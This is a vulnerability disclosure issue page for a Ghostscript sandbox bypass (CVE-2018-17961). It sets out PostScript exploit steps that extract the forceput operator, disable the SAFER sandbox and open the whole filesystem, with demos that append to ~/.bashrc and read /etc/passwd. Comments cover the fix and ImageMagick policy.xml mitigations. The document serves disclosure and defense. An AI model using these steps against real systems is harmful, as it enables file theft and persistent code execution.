New issue
Advanced search Search tips

Issue 1682 link

Starred by 2 users

Issue metadata

Status: Fixed
Closed: Oct 9

Blocked on:
issue 1691
issue 1696

issue 1640
issue 1643
issue 1675

Sign in to add a comment

ghostscript: executeonly bypass with errorhandler setup

Project Member Reported by, Sep 28

Issue description

While documenting  bug 1675 , I noticed another problem with errordict in ghostscript. Full working exploit that works in the last few versions is attached, viewing it in evince, imagemagick, gimp, okular, etc should add a line to ~/.bashrc. Additionally, because nautilus will automatically invoke evince-thumbnailer without any user-interaction, just browsing a website is enough to trigger the vulnerability.

taviso@ubuntu:~$ convert exploit.jpg output.jpg
taviso@ubuntu:~$ tail -1 ~/.bashrc
echo pwned by postscript

Good news: If your distro ships gnome-desktop 3.25.90 or later and wasn't bananas enough to disable sandboxing (yes, some are really doing that, see  bug 1643 ), I don't know of any way to trigger automatic exploitation. If you open the file manually, you're still in trouble though.

One of the core access control features in postscript is the ability to mark procedures executeonly, this prevents users from peeking inside system routines and getting references to powerful operators they shouldn't have access to. I have a full description of how the executeonly mechanism works in  bug 1675 .

Until recently you could install an error handler in errordict and if you cause an executeonly procedure to stop ("stop" is the postscript term for "throw an exception"), that would expose the faulting operator to the error handler. That is no longer possible, because errordict is ignored in the -dSAFER sandbox.

Unfortunately, the fix was incomplete, because you could still make the invocation of the errorhandler itself stop by filling up the stack with junk and making it /stackoverflow.

One way to exploit this is to find an executeonly procedure that can stop in two different ways, you trigger the first exception and then you make calling the errorhandler stop (/stackoverflow or /execoverflow will do). When that fails the operand stack is left in an inconsistent state, because ghostscript was trying to set up the errorhandler but failed. 

Here is how to exploit it:

% first, fill up the stack with junk so there is only a tiny bit of room for the errorhandler
GS>0 1 300368 {} for

% We can make /switch_to_normal_marking_ops fail by making pdfopdict a non-dictionary
GS<300369>/pdfopdict null def

% call /switch_to_normal_marking_ops (which is executeonly)
GS<300369>GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

% that failed because of /typecheck writing to pdfopdict

% And if we look at the last few elements of the saved stack...
GS<1>dup dup length 10 sub 10 getinterval ==
[300364 300365 300366 300367 300368 null /m {normal_m} --.forceput-- /typecheck]

% The failed operator is on there ready to be passed to the errorhandler.

forceput is a very powerful operator that ignores all access controls, we can extract it from the stack, and then do whatever we like.

% Lets disable SAFER and give ourselves access to the whole filesystem (including .bashrc, ssh keys, chrome cookies, everything)
systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput

Putting it all together, here is reading /etc/passwd just to demo:

$ ./gs -dSAFER -f 
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Project Member

Comment 1 by, Sep 28

Blocking: 1645 1643 1640
This is ghostscript bug 699816
Project Member

Comment 2 by, Sep 28

Here is a better exploit, you might need to adjust the amount of stack space for older versions of ghostscript.
Project Member

Comment 3 by, Sep 28

Description: Show this description
Project Member

Comment 4 by, Sep 28

Blocking: -1645 1675
Project Member

Comment 5 by, Oct 2

OK, this one will work on more versions, it just pulls the operator out of the error state.
2.0 KB Download
Project Member

Comment 6 by, Oct 3

Labels: CVE-2018-17961
Project Member

Comment 7 by, Oct 4

Labels: -Reported-2018-09-27 Reported-2018-Sep-27
Project Member

Comment 8 by, Oct 9

Labels: -Restrict-View-Commit
Status: Fixed (was: New)
The fix is public now, I'll send a heads-up to oss-security.;a=commitdiff;h=a54c9e61e7d0;a=commitdiff;h=a6807394bd94

may i ask you question about this bug?

i can't change ' ' to exploit.jpg

can you tell me, how can changed this *.ps to *.jpg?

i used the psconvert and i have a error message

e.g:psconvert: Error: The file psconvert_7307b.eps has no BoundingBox in the first 20 lines or last 256 bytes. Use -A option.

Project Member

Comment 10 by, Oct 10

I don't understand the question, you just rename the file.

File extension means nothing to ImageMagick, it does it's own file format detection, so you can call it anything you want.
Hi taviso.

   this is my another email.

   i watch you reply, i think is my no express my question.

   and here is my question.

   first, i use to gs, i found is work.

   but i changed suffix name to poc.jpg

   and use convert poc.jpg 1.png
   i found is can not work.

   and last thankyou, this is my last question.

572 KB Download
Project Member

Comment 12 by, Oct 11

It says "not authorized" , which means you disabled ghostscript coders in policy.xml

That's not the default, you must have set that option.

It's a good idea to do that, it means ImageMagick isn't vulnerable to ghostscript exploits. Evince and so on will still be vulnerable though, they don't use policy.xml.
Thanks you answer.
Is there a Ghostscript release target to include the commit for this vulnerability?
Project Member

Comment 15 by, Oct 12

Blockedon: 1696
Project Member

Comment 16 by, Oct 12

I believe Artifex only make quarterly releases, the next release (9.26) should include it.
Project Member

Comment 17 by, Oct 12

Blockedon: 1691
Hey Taviso,

Re : That's not the default, you must have set that option.

I believe ImageMagick now disabled ghostscript format types by default 

$ cat /etc/issue
Ubuntu 18.04.1 LTS \n \l

$ convert -version
Version: ImageMagick 6.9.7-4 Q16 x86_64 20170114

$ cat /etc/ImageMagick-6/policy.xml
 <!-- disable ghostscript format types -->
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="EPI" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />

$ convert xx.png
convert-im6.q16: not authorized `' @ error/constitute.c/ReadImage/412.
convert-im6.q16: no images defined `xx.png' @ error/convert.c/ConvertImageCommand/3258.

Huh, you're right, Ubuntu just added that patch last week:

That's awesome! Hopefully we can get a few more distros to disable it by default.
Any idea if this is also affecting Redhat? I don't see this CVE mentioned/documented on their site. The default policy.xml is missing those 4 extensions though.

Also, I can see in the comment above "EPI" . Should that be "EPS" instead? Is it typo?

Project Member

Comment 21 by, Oct 16

Yes, I believe RHEL7 is affected, I don't know about other versions.

Regarding EPI, it should be EPS but it does look correct in the original patch.
I would like to know, whether Windows 10 is affected by this bug.

Sign in to add a comment